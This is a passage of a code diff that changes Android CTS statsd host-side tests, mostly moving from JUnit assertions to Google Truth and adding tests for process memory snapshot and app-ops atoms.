+ assertWithMessage(String.format("Did not find a matching atom for uid %d", uid))
+ .that(found).isTrue();
}
public void testProcessMemoryHighWaterMark() throws Exception {
@@ -1135,13 +1174,13 @@
return;
}
- // Get ProcessMemoryState as a simple gauge metric.
+ // Get ProcessMemoryHighWaterMark as a simple gauge metric.
StatsdConfig.Builder config = getPulledConfig();
addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_HIGH_WATER_MARK_FIELD_NUMBER, null);
uploadConfig(config);
Thread.sleep(WAIT_TIME_SHORT);
- // Start test app and trigger a pull while its running.
+ // Start test app and trigger a pull while it is running.
try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
"action.show_notification")) {
Thread.sleep(WAIT_TIME_SHORT);
@@ -1160,22 +1199,71 @@
ProcessMemoryHighWaterMark state = atom.getProcessMemoryHighWaterMark();
if (state.getUid() == uid) {
foundTestApp = true;
- assertEquals(DEVICE_SIDE_TEST_PACKAGE, state.getProcessName());
- assertTrue("rss_high_water_mark_in_bytes should be positive",
- state.getRssHighWaterMarkInBytes() > 0);
+ assertThat(state.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
+ assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
} else if (state.getProcessName().contains("/statsd")) {
foundStatsd = true;
- assertTrue("rss_high_water_mark_in_bytes should be positive",
- state.getRssHighWaterMarkInBytes() > 0);
+ assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
} else if (state.getProcessName().equals("system")) {
foundSystemServer = true;
- assertTrue("rss_high_water_mark_in_bytes should be positive",
- state.getRssHighWaterMarkInBytes() > 0);
+ assertThat(state.getRssHighWaterMarkInBytes()).isGreaterThan(0L);
}
}
- assertTrue("Did not find a matching atom for test app uid=" + uid, foundTestApp);
- assertTrue("Did not find a matching atom for statsd", foundStatsd);
- assertTrue("Did not find a matching atom for system server", foundSystemServer);
+ assertWithMessage(String.format("Did not find a matching atom for test app uid=%d",uid))
+ .that(foundTestApp).isTrue();
+ assertWithMessage("Did not find a matching atom for statsd").that(foundStatsd).isTrue();
+ assertWithMessage("Did not find a matching atom for system server")
+ .that(foundSystemServer).isTrue();
+ }
+
+ public void testProcessMemorySnapshot() throws Exception {
+ if (statsdDisabled()) {
+ return;
+ }
+
+ // Get ProcessMemorySnapshot as a simple gauge metric.
+ StatsdConfig.Builder config = getPulledConfig();
+ addGaugeAtomWithDimensions(config, Atom.PROCESS_MEMORY_SNAPSHOT_FIELD_NUMBER, null);
+ uploadConfig(config);
+ Thread.sleep(WAIT_TIME_SHORT);
+
+ // Start test app and trigger a pull while it is running.
+ try (AutoCloseable a = withActivity("StatsdCtsForegroundActivity", "action",
+ "action.show_notification")) {
+ setAppBreadcrumbPredicate();
+ Thread.sleep(WAIT_TIME_LONG);
+ }
+
+ // Assert about ProcessMemorySnapshot for the test app, statsd and system server.
+ List<Atom> atoms = getGaugeMetricDataList();
+ int uid = getUid();
+ boolean foundTestApp = false;
+ boolean foundStatsd = false;
+ boolean foundSystemServer = false;
+ for (Atom atom : atoms) {
+ ProcessMemorySnapshot snapshot = atom.getProcessMemorySnapshot();
+ if (snapshot.getUid() == uid) {
+ foundTestApp = true;
+ assertThat(snapshot.getProcessName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
+ } else if (snapshot.getProcessName().contains("/statsd")) {
+ foundStatsd = true;
+ } else if (snapshot.getProcessName().equals("system")) {
+ foundSystemServer = true;
+ }
+
+ assertThat(snapshot.getPid()).isGreaterThan(0);
+ assertThat(snapshot.getAnonRssAndSwapInKilobytes()).isGreaterThan(0);
+ assertThat(snapshot.getAnonRssAndSwapInKilobytes()).isEqualTo(
+ snapshot.getAnonRssInKilobytes() + snapshot.getSwapInKilobytes());
+ assertThat(snapshot.getRssInKilobytes()).isAtLeast(0);
+ assertThat(snapshot.getAnonRssInKilobytes()).isAtLeast(0);
+ assertThat(snapshot.getSwapInKilobytes()).isAtLeast(0);
+ }
+ assertWithMessage(String.format("Did not find a matching atom for test app uid=%d",uid))
+ .that(foundTestApp).isTrue();
+ assertWithMessage("Did not find a matching atom for statsd").that(foundStatsd).isTrue();
+ assertWithMessage("Did not find a matching atom for system server")
+ .that(foundSystemServer).isTrue();
}
/**
@@ -1218,20 +1306,20 @@
for (Atom atom : getGaugeMetricDataList()) {
AtomsProto.RoleHolder roleHolder = atom.getRoleHolder();
- assertNotNull(roleHolder.getPackageName());
- assertTrue(roleHolder.getUid() >= 0);
- assertNotNull(roleHolder.getRole());
+ assertThat(roleHolder.getPackageName()).isNotNull();
+ assertThat(roleHolder.getUid()).isAtLeast(0);
+ assertThat(roleHolder.getRole()).isNotNull();
if (roleHolder.getPackageName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
- assertEquals(testAppId, getAppId(roleHolder.getUid()));
- assertEquals(DEVICE_SIDE_TEST_PACKAGE, roleHolder.getPackageName());
- assertEquals(callScreenAppRole, roleHolder.getRole());
+ assertThat(getAppId(roleHolder.getUid())).isEqualTo(testAppId);
+ assertThat(roleHolder.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
+ assertThat(roleHolder.getRole()).isEqualTo(callScreenAppRole);
verifiedKnowRoleState = true;
}
}
- assertTrue(verifiedKnowRoleState);
+ assertThat(verifiedKnowRoleState).isTrue();
}
public void testDangerousPermissionState() throws Exception {
@@ -1259,26 +1347,51 @@
for (Atom atom : getGaugeMetricDataList()) {
DangerousPermissionState permissionState = atom.getDangerousPermissionState();
- assertNotNull(permissionState.getPermissionName());
- assertTrue(permissionState.getUid() >= 0);
- assertNotNull(permissionState.getPackageName());
+ assertThat(permissionState.getPermissionName()).isNotNull();
+ assertThat(permissionState.getUid()).isAtLeast(0);
+ assertThat(permissionState.getPackageName()).isNotNull();
- if (permissionState.getPackageName().equals(DEVICE_SIDE_TEST_PACKAGE)) {
- assertEquals(testAppId, getAppId(permissionState.getUid()));
+ if (getAppId(permissionState.getUid()) == testAppId) {
if (permissionState.getPermissionName().equals(
"android.permission.ACCESS_FINE_LOCATION")) {
- assertTrue(permissionState.getIsGranted());
- assertEquals(0, permissionState.getPermissionFlags() & (~(
+ assertThat(permissionState.getIsGranted()).isTrue();
+ assertThat(permissionState.getPermissionFlags() & (~(
FLAG_PERMISSION_USER_SENSITIVE_WHEN_DENIED
- | FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED)));
+ | FLAG_PERMISSION_USER_SENSITIVE_WHEN_GRANTED)))
+ .isEqualTo(0);
verifiedKnowPermissionState = true;
}
}
}
- assertTrue(verifiedKnowPermissionState);
+ assertThat(verifiedKnowPermissionState).isTrue();
+ }
+
+ public void testAppOps() throws Exception {
+ if (statsdDisabled()) {
+ return;
+ }
+
+ // Set up what to collect
+ StatsdConfig.Builder config = getPulledConfig();
+ addGaugeAtomWithDimensions(config, Atom.APP_OPS_FIELD_NUMBER, null);
+ uploadConfig(config);
+ Thread.sleep(WAIT_TIME_SHORT);
+
+ // Pull a report
+ setAppBreadcrumbPredicate();
+ Thread.sleep(WAIT_TIME_SHORT);
+
+ int accessInstancesRecorded = 0;
+
+ for (Atom atom : getGaugeMetricDataList()) {
+ AppOps appOps = atom.getAppOps();
+ accessInstancesRecorded += appOps.getTrustedForegroundGrantedCount();
+ }
+
+ assertThat(accessInstancesRecorded).isAtLeast(1);
}
public void testANROccurred() throws Exception {
@@ -1299,14 +1412,15 @@
// Sorted list of events in order in which they occurred.
List<EventMetricData> data = getEventMetricDataList();
- assertEquals(1, data.size());
- assertTrue(data.get(0).getAtom().hasAnrOccurred());
+ assertThat(data).hasSize(1);
+ assertThat(data.get(0).getAtom().hasAnrOccurred()).isTrue();
ANROccurred atom = data.get(0).getAtom().getAnrOccurred();
- assertEquals(ANROccurred.InstantApp.FALSE_VALUE, atom.getIsInstantApp().getNumber());
- assertEquals(ANROccurred.ForegroundState.FOREGROUND_VALUE,
- atom.getForegroundState().getNumber());
- assertEquals(ErrorSource.DATA_APP, atom.getErrorSource());
- assertEquals(DEVICE_SIDE_TEST_PACKAGE, atom.getPackageName());
+ assertThat(atom.getIsInstantApp().getNumber())
+ .isEqualTo(ANROccurred.InstantApp.FALSE_VALUE);
+ assertThat(atom.getForegroundState().getNumber())
+ .isEqualTo(ANROccurred.ForegroundState.FOREGROUND_VALUE);
+ assertThat(atom.getErrorSource()).isEqualTo(ErrorSource.DATA_APP);
+ assertThat(atom.getPackageName()).isEqualTo(DEVICE_SIDE_TEST_PACKAGE);
}
public void testWriteRawTestAtom() throws Exception {
@@ -1322,80 +1436,71 @@
Thread.sleep(WAIT_TIME_SHORT);
// Sorted list of events in order in which they occurred.
List<EventMetricData> data = getEventMetricDataList();
- assertEquals(data.size(), 4);
+ assertThat(data).hasSize(4);
TestAtomReported atom = data.get(0).getAtom().getTestAtomReported();
List<AttributionNode> attrChain = atom.getAttributionNodeList();
- assertEquals(2, attrChain.size());
- assertEquals(1234, attrChain.get(0).getUid());
- assertEquals("tag1", attrChain.get(0).getTag());
- assertEquals(getUid(), attrChain.get(1).getUid());
- assertEquals("tag2", attrChain.get(1).getTag());
+ assertThat(attrChain).hasSize(2);
+ assertThat(attrChain.get(0).getUid()).isEqualTo(1234);
+ assertThat(attrChain.get(0).getTag()).isEqualTo("tag1");
+ assertThat(attrChain.get(1).getUid()).isEqualTo(getUid());
+ assertThat(attrChain.get(1).getTag()).isEqualTo("tag2");
- assertEquals(42, atom.getIntField());
- assertEquals(Long.MAX_VALUE, atom.getLongField());
- assertEquals(3.14f, atom.getFloatField());
- assertEquals("This is a basic test!", atom.getStringField());
- assertEquals(false, atom.getBooleanField());
- assertEquals(TestAtomReported.State.ON_VALUE, atom.getState().getNumber());
- List<Long> expIds = atom.getBytesField().getExperimentIdList();
- assertEquals(3, expIds.size());
- assertEquals(1L, (long) expIds.get(0));
- assertEquals(2L, (long) expIds.get(1));
- assertEquals(3L, (long) expIds.get(2));
+ assertThat(atom.getIntField()).isEqualTo(42);
+ assertThat(atom.getLongField()).isEqualTo(Long.MAX_VALUE);
+ assertThat(atom.getFloatField()).isEqualTo(3.14f);
+ assertThat(atom.getStringField()).isEqualTo("This is a basic test!");
+ assertThat(atom.getBooleanField()).isFalse();
+ assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.ON_VALUE);
+ assertThat(atom.getBytesField().getExperimentIdList())
+ .containsExactly(1L, 2L, 3L).inOrder();
+
atom = data.get(1).getAtom().getTestAtomReported();
attrChain = atom.getAttributionNodeList();
- assertEquals(2, attrChain.size());
- assertEquals(9999, attrChain.get(0).getUid());
- assertEquals("tag9999", attrChain.get(0).getTag());
- assertEquals(getUid(), attrChain.get(1).getUid());
- assertEquals("", attrChain.get(1).getTag());
+ assertThat(attrChain).hasSize(2);
+ assertThat(attrChain.get(0).getUid()).isEqualTo(9999);
+ assertThat(attrChain.get(0).getTag()).isEqualTo("tag9999");
+ assertThat(attrChain.get(1).getUid()).isEqualTo(getUid());
+ assertThat(attrChain.get(1).getTag()).isEmpty();
- assertEquals(100, atom.getIntField());
- assertEquals(Long.MIN_VALUE, atom.getLongField());
- assertEquals(-2.5f, atom.getFloatField());
- assertEquals("Test null uid", atom.getStringField());
- assertEquals(true, atom.getBooleanField());
- assertEquals(TestAtomReported.State.UNKNOWN_VALUE, atom.getState().getNumber());
- expIds = atom.getBytesField().getExperimentIdList();
- assertEquals(3, expIds.size());
- assertEquals(1L, (long) expIds.get(0));
- assertEquals(2L, (long) expIds.get(1));
- assertEquals(3L, (long) expIds.get(2));
+ assertThat(atom.getIntField()).isEqualTo(100);
+ assertThat(atom.getLongField()).isEqualTo(Long.MIN_VALUE);
+ assertThat(atom.getFloatField()).isEqualTo(-2.5f);
+ assertThat(atom.getStringField()).isEqualTo("Test null uid");
+ assertThat(atom.getBooleanField()).isTrue();
+ assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.UNKNOWN_VALUE);
+ assertThat(atom.getBytesField().getExperimentIdList())
+ .containsExactly(1L, 2L, 3L).inOrder();
atom = data.get(2).getAtom().getTestAtomReported();
attrChain = atom.getAttributionNodeList();
- assertEquals(1, attrChain.size());
- assertEquals(getUid(), attrChain.get(0).getUid());
- assertEquals("tag1", attrChain.get(0).getTag());
+ assertThat(attrChain).hasSize(1);
+ assertThat(attrChain.get(0).getUid()).isEqualTo(getUid());
+ assertThat(attrChain.get(0).getTag()).isEqualTo("tag1");
- assertEquals(-256, atom.getIntField());
- assertEquals(-1234567890L, atom.getLongField());
- assertEquals(42.01f, atom.getFloatField());
- assertEquals("Test non chained", atom.getStringField());
- assertEquals(true, atom.getBooleanField());
- assertEquals(TestAtomReported.State.OFF_VALUE, atom.getState().getNumber());
- expIds = atom.getBytesField().getExperimentIdList();
- assertEquals(3, expIds.size());
- assertEquals(1L, (long) expIds.get(0));
- assertEquals(2L, (long) expIds.get(1));
- assertEquals(3L, (long) expIds.get(2));
+ assertThat(atom.getIntField()).isEqualTo(-256);
+ assertThat(atom.getLongField()).isEqualTo(-1234567890L);
+ assertThat(atom.getFloatField()).isEqualTo(42.01f);
+ assertThat(atom.getStringField()).isEqualTo("Test non chained");
+ assertThat(atom.getBooleanField()).isTrue();
+ assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.OFF_VALUE);
+ assertThat(atom.getBytesField().getExperimentIdList())
+ .containsExactly(1L, 2L, 3L).inOrder();
atom = data.get(3).getAtom().getTestAtomReported();
attrChain = atom.getAttributionNodeList();
- assertEquals(1, attrChain.size());
- assertEquals(getUid(), attrChain.get(0).getUid());
- assertEquals("", attrChain.get(0).getTag());
+ assertThat(attrChain).hasSize(1);
+ assertThat(attrChain.get(0).getUid()).isEqualTo(getUid());
+ assertThat(attrChain.get(0).getTag()).isEmpty();
- assertEquals(0, atom.getIntField());
- assertEquals(0L, atom.getLongField());
- assertEquals(0f, atom.getFloatField());
- assertEquals("", atom.getStringField());
- assertEquals(true, atom.getBooleanField());
- assertEquals(TestAtomReported.State.OFF_VALUE, atom.getState().getNumber());
- expIds = atom.getBytesField().getExperimentIdList();
- assertEquals(0, expIds.size());
+ assertThat(atom.getIntField()).isEqualTo(0);
+ assertThat(atom.getLongField()).isEqualTo(0L);
+ assertThat(atom.getFloatField()).isEqualTo(0f);
+ assertThat(atom.getStringField()).isEmpty();
+ assertThat(atom.getBooleanField()).isTrue();
+ assertThat(atom.getState().getNumber()).isEqualTo(TestAtomReported.State.OFF_VALUE);
+ assertThat(atom.getBytesField().getExperimentIdList()).isEmpty();
}
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
index e92e7b2..4c0e4e6 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metadata/MetadataTests.java
@@ -15,6 +15,8 @@
*/
package android.cts.statsd.metadata;
+import static com.google.common.truth.Truth.assertWithMessage;
+
import android.cts.statsd.atom.AtomTestCase;
import com.android.internal.os.StatsdConfigProto;
@@ -61,13 +63,14 @@
for (ConfigStats stats: report.getConfigStatsList()) {
if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
if(!stats.hasDeletionTimeSec()) {
- assertTrue("Found multiple active CTS configs!", foundActiveConfig == false);
+ assertWithMessage("Found multiple active CTS configs!")
+ .that(foundActiveConfig).isFalse();
foundActiveConfig = true;
creationTime = stats.getCreationTimeSec();
}
}
}
- assertTrue("Did not find an active CTS config", foundActiveConfig);
+ assertWithMessage("Did not find an active CTS config").that(foundActiveConfig).isTrue();
while(System.currentTimeMillis() - startTime < 8_000) {
Thread.sleep(10);
@@ -81,26 +84,29 @@
if (stats.getId() == CONFIG_ID && stats.getUid() == getHostUid()) {
// Original config should be TTL'd
if (stats.getCreationTimeSec() == creationTime) {
- assertTrue("Config should have TTL'd but is still active",
- stats.hasDeletionTimeSec());
- assertTrue("Config deletion time should be about " + TTL_TIME_SEC +
- " after creation",
- Math.abs(stats.getDeletionTimeSec() - expectedTime) <= 2);
+ assertWithMessage("Config should have TTL'd but is still active")
+ .that(stats.hasDeletionTimeSec()).isTrue();
+ assertWithMessage(
+ "Config deletion time should be about %s after creation", TTL_TIME_SEC
+ ).that(Math.abs(stats.getDeletionTimeSec() - expectedTime)).isAtMost(2);
}
// There should still be one active config, that is marked as reset.
if(!stats.hasDeletionTimeSec()) {
- assertTrue("Found multiple active CTS configs!", foundActiveConfig == false);
+ assertWithMessage("Found multiple active CTS configs!")
+ .that(foundActiveConfig).isFalse();
foundActiveConfig = true;
creationTime = stats.getCreationTimeSec();
- assertTrue("Active config after TTL should be marked as reset",
- stats.hasResetTimeSec());
- assertEquals("Reset time and creation time should be equal for TTl'd configs",
- stats.getResetTimeSec(), stats.getCreationTimeSec());
- assertTrue("Reset config should be created when the original config TTL'd",
- Math.abs(stats.getCreationTimeSec() - expectedTime) <= 2);
+ assertWithMessage("Active config after TTL should be marked as reset")
+ .that(stats.hasResetTimeSec()).isTrue();
+ assertWithMessage("Reset and creation time should be equal for TTl'd configs")
+ .that(stats.getResetTimeSec()).isEqualTo(stats.getCreationTimeSec());
+ assertWithMessage(
+ "Reset config should be created when the original config TTL'd"
+ ).that(Math.abs(stats.getCreationTimeSec() - expectedTime)).isAtMost(2);
}
}
}
- assertTrue("Did not find an active CTS config after the TTL", foundActiveConfig);
+ assertWithMessage("Did not find an active CTS config after the TTL")
+ .that(foundActiveConfig).isTrue();
}
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
index 70777ef..4eeb74c 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/CountMetricsTests.java
@@ -15,6 +15,9 @@
*/
package android.cts.statsd.metric;
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
import android.cts.statsd.atom.DeviceAtomTestCase;
import com.android.internal.os.StatsdConfigProto;
@@ -53,13 +56,13 @@
StatsLogReport metricReport = getStatsLogReport();
LogUtil.CLog.d("Got the following stats log report: \n" + metricReport.toString());
- assertEquals(MetricsUtils.COUNT_METRIC_ID, metricReport.getMetricId());
- assertTrue(metricReport.hasCountMetrics());
+ assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
+ assertThat(metricReport.hasCountMetrics()).isTrue();
StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
- assertTrue(countData.getDataCount() > 0);
- assertEquals(2, countData.getData(0).getBucketInfo(0).getCount());
+ assertThat(countData.getDataCount()).isGreaterThan(0);
+ assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
}
public void testEventCountWithCondition() throws Exception {
if (statsdDisabled()) {
@@ -112,13 +115,13 @@
Thread.sleep(2000); // Wait for the metrics to propagate to statsd.
StatsLogReport metricReport = getStatsLogReport();
- assertEquals(MetricsUtils.COUNT_METRIC_ID, metricReport.getMetricId());
- assertTrue(metricReport.hasCountMetrics());
+ assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
+ assertThat(metricReport.hasCountMetrics()).isTrue();
StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
- assertTrue(countData.getDataCount() > 0);
- assertEquals(1, countData.getData(0).getBucketInfo(0).getCount());
+ assertThat(countData.getDataCount()).isGreaterThan(0);
+ assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(1);
}
public void testEventCountWithConditionAndActivation() throws Exception {
@@ -236,16 +239,16 @@
Thread.sleep(2000);
StatsLogReport metricReport = getStatsLogReport();
- assertEquals(MetricsUtils.COUNT_METRIC_ID, metricReport.getMetricId());
+ assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.COUNT_METRIC_ID);
LogUtil.CLog.d("Received the following data: " + metricReport.toString());
- assertTrue(metricReport.hasCountMetrics());
- assertFalse(metricReport.getIsActive());
+ assertThat(metricReport.hasCountMetrics()).isTrue();
+ assertThat(metricReport.getIsActive()).isFalse();
StatsLogReport.CountMetricDataWrapper countData = metricReport.getCountMetrics();
- assertEquals(1, countData.getDataCount());
- assertEquals(2, countData.getData(0).getBucketInfoCount());
- assertEquals(2, countData.getData(0).getBucketInfo(0).getCount());
- assertEquals(1, countData.getData(0).getBucketInfo(1).getCount());
+ assertThat(countData.getDataCount()).isEqualTo(1);
+ assertThat(countData.getData(0).getBucketInfoCount()).isEqualTo(2);
+ assertThat(countData.getData(0).getBucketInfo(0).getCount()).isEqualTo(2);
+ assertThat(countData.getData(0).getBucketInfo(1).getCount()).isEqualTo(1);
}
public void testPartialBucketCountMetric() throws Exception {
@@ -273,17 +276,14 @@
ConfigMetricsReportList reports = getReportList();
LogUtil.CLog.d("Got following report list: " + reports.toString());
- assertEquals("Expected 2 reports, got " + reports.getReportsCount(),
- 2, reports.getReportsCount());
+ assertThat(reports.getReportsCount()).isEqualTo(2);
boolean inOrder = reports.getReports(0).getCurrentReportWallClockNanos() <
reports.getReports(1).getCurrentReportWallClockNanos();
// Only 1 metric, so there should only be 1 StatsLogReport.
for (ConfigMetricsReport report : reports.getReportsList()) {
- assertEquals("Expected 1 StatsLogReport in each ConfigMetricsReport",
- 1, report.getMetricsCount());
- assertEquals("Expected 1 CountMetricData in each report",
- 1, report.getMetrics(0).getCountMetrics().getDataCount());
+ assertThat(report.getMetricsCount()).isEqualTo(1);
+ assertThat(report.getMetrics(0).getCountMetrics().getDataCount()).isEqualTo(1);
}
CountMetricData data1 =
reports.getReports(inOrder? 0 : 1).getMetrics(0).getCountMetrics().getData(0);
@@ -291,19 +291,20 @@
reports.getReports(inOrder? 1 : 0).getMetrics(0).getCountMetrics().getData(0);
// Data1 should have only 1 bucket, and it should be a partial bucket.
// The count should be 1.
- assertEquals("First report should only have 1 bucket", 1, data1.getBucketInfoCount());
+ assertThat(data1.getBucketInfoCount()).isEqualTo(1);
CountBucketInfo bucketInfo = data1.getBucketInfo(0);
- assertEquals("First report should have a count of 1", 1, bucketInfo.getCount());
- assertTrue("First report's bucket should be less than 1 day",
- bucketInfo.getEndBucketElapsedNanos() <
- (bucketInfo.getStartBucketElapsedNanos() + 1_000_000_000L * 60L * 60L * 24L));
+ assertThat(bucketInfo.getCount()).isEqualTo(1);
+ assertWithMessage("First report's bucket should be less than 1 day")
+ .that(bucketInfo.getEndBucketElapsedNanos())
+ .isLessThan(bucketInfo.getStartBucketElapsedNanos() +
+ 1_000_000_000L * 60L * 60L * 24L);
//Second report should have a count of 2.
- assertTrue("Second report should have at most 2 buckets", data2.getBucketInfoCount() < 3);
+ assertThat(data2.getBucketInfoCount()).isAtMost(2);
int totalCount = 0;
for (CountBucketInfo bucket : data2.getBucketInfoList()) {
totalCount += bucket.getCount();
}
- assertEquals("Second report should have a count of 2", 2, totalCount);
+ assertThat(totalCount).isEqualTo(2);
}
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
index 4bd5a2a..16c3baf 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/GaugeMetricsTests.java
@@ -122,30 +122,30 @@
StatsLogReport metricReport = getStatsLogReport();
LogUtil.CLog.d("Got the following gauge metric data: " + metricReport.toString());
- assertEquals(MetricsUtils.GAUGE_METRIC_ID, metricReport.getMetricId());
- assertTrue(metricReport.hasGaugeMetrics());
+ assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
+ assertThat(metricReport.hasGaugeMetrics()).isTrue();
StatsLogReport.GaugeMetricDataWrapper gaugeData = metricReport.getGaugeMetrics();
- assertEquals(gaugeData.getDataCount(), 1);
+ assertThat(gaugeData.getDataCount()).isEqualTo(1);
int bucketCount = gaugeData.getData(0).getBucketInfoCount();
GaugeMetricData data = gaugeData.getData(0);
- assertTrue(bucketCount > 2);
+ assertThat(bucketCount).isGreaterThan(2);
MetricsUtils.assertBucketTimePresent(data.getBucketInfo(0));
- assertEquals(data.getBucketInfo(0).getAtomCount(), 1);
- assertEquals(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getLabel(), 0);
- assertEquals(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getState(),
- AppBreadcrumbReported.State.START);
+ assertThat(data.getBucketInfo(0).getAtomCount()).isEqualTo(1);
+ assertThat(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getLabel())
+ .isEqualTo(0);
+ assertThat(data.getBucketInfo(0).getAtom(0).getAppBreadcrumbReported().getState())
+ .isEqualTo(AppBreadcrumbReported.State.START);
MetricsUtils.assertBucketTimePresent(data.getBucketInfo(1));
- assertEquals(data.getBucketInfo(1).getAtomCount(), 1);
+ assertThat(data.getBucketInfo(1).getAtomCount()).isEqualTo(1);
MetricsUtils.assertBucketTimePresent(data.getBucketInfo(bucketCount-1));
- assertEquals(data.getBucketInfo(bucketCount - 1).getAtomCount(), 1);
- assertEquals(
- data.getBucketInfo(bucketCount - 1).getAtom(0).getAppBreadcrumbReported().getLabel(), 2);
- assertEquals(
- data.getBucketInfo(bucketCount - 1).getAtom(0).getAppBreadcrumbReported().getState(),
- AppBreadcrumbReported.State.STOP);
+ assertThat(data.getBucketInfo(bucketCount-1).getAtomCount()).isEqualTo(1);
+ assertThat(data.getBucketInfo(bucketCount-1).getAtom(0).getAppBreadcrumbReported().getLabel())
+ .isEqualTo(2);
+ assertThat(data.getBucketInfo(bucketCount-1).getAtom(0).getAppBreadcrumbReported().getState())
+ .isEqualTo(AppBreadcrumbReported.State.STOP);
}
public void testPulledGaugeMetricWithActivation() throws Exception {
@@ -197,8 +197,8 @@
StatsLogReport metricReport = getStatsLogReport();
LogUtil.CLog.d("Got the following gauge metric data: " + metricReport.toString());
- assertEquals(MetricsUtils.GAUGE_METRIC_ID, metricReport.getMetricId());
- assertFalse(metricReport.hasGaugeMetrics());
+ assertThat(metricReport.getMetricId()).isEqualTo(MetricsUtils.GAUGE_METRIC_ID);
+ assertThat(metricReport.hasGaugeMetrics()).isFalse();
}
public void testPulledGaugeMetricWithConditionAndActivation() throws Exception {
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
index 803dd2e..b976678 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricActivationTests.java
@@ -15,6 +15,8 @@
*/
package android.cts.statsd.metric;
+import static com.google.common.truth.Truth.assertThat;
+
import android.cts.statsd.atom.DeviceAtomTestCase;
import com.android.internal.os.StatsdConfigProto;
@@ -374,7 +376,7 @@
ConfigMetricsReportList reportList = getReportList();
List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
- assertEquals(3, reports.size());
+ assertThat(reports).hasSize(3);
// Report before restart.
ConfigMetricsReport report = reports.get(0);
@@ -510,7 +512,7 @@
ConfigMetricsReportList reportList = getReportList();
List<ConfigMetricsReport> reports = getSortedConfigMetricsReports(reportList);
- assertEquals(3, reports.size());
+ assertThat(reports).hasSize(3);
// Report before restart.
ConfigMetricsReport report = reports.get(0);
@@ -538,7 +540,7 @@
private void verifyMetrics(ConfigMetricsReport report, int metric1Count, int metric2Count,
int metric3Count) throws Exception {
- assertEquals(3, report.getMetricsCount());
+ assertThat(report.getMetricsCount()).isEqualTo(3);
verifyMetric(
report.getMetrics(0), // StatsLogReport
@@ -563,17 +565,14 @@
private void verifyMetric(StatsLogReport metricReport, long metricId, int metricMatcherLabel,
int dataCount) {
LogUtil.CLog.d("Got the following event metric data: " + metricReport.toString());
- assertEquals(metricId, metricReport.getMetricId());
- if (dataCount > 0) {
- assertTrue(metricReport.hasEventMetrics());
- } else {
- assertFalse(metricReport.hasEventMetrics());
- }
+ assertThat(metricReport.getMetricId()).isEqualTo(metricId);
+ assertThat(metricReport.hasEventMetrics()).isEqualTo(dataCount > 0);
+
StatsLogReport.EventMetricDataWrapper eventData = metricReport.getEventMetrics();
- assertEquals(dataCount, eventData.getDataCount());
+ assertThat(eventData.getDataCount()).isEqualTo(dataCount);
for (int i = 0; i < eventData.getDataCount(); i++) {
AppBreadcrumbReported atom = eventData.getData(i).getAtom().getAppBreadcrumbReported();
- assertEquals(metricMatcherLabel, atom.getLabel());
+ assertThat(atom.getLabel()).isEqualTo(metricMatcherLabel);
}
}
}
diff --git a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
index 2677634..7097587 100644
--- a/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
+++ b/hostsidetests/statsd/src/android/cts/statsd/metric/MetricsUtils.java
@@ -15,6 +15,8 @@
*/
package android.cts.statsd.metric;
+import static com.google.common.truth.Truth.assertWithMessage;
+
import com.android.internal.os.StatsdConfigProto;
import com.android.internal.os.StatsdConfigProto.AtomMatcher;
import com.android.internal.os.StatsdConfigProto.EventActivation;
@@ -26,8 +28,6 @@
import com.google.protobuf.Descriptors.Descriptor;
import com.google.protobuf.Descriptors.FieldDescriptor;
-import static org.junit.Assert.assertTrue;
-
public class MetricsUtils {
public static final long COUNT_METRIC_ID = 3333;
public static final long DURATION_METRIC_ID = 4444;
@@ -156,7 +156,8 @@
endMillis != null && bucketInfo.hasField(endMillis)) {
found = true;
}
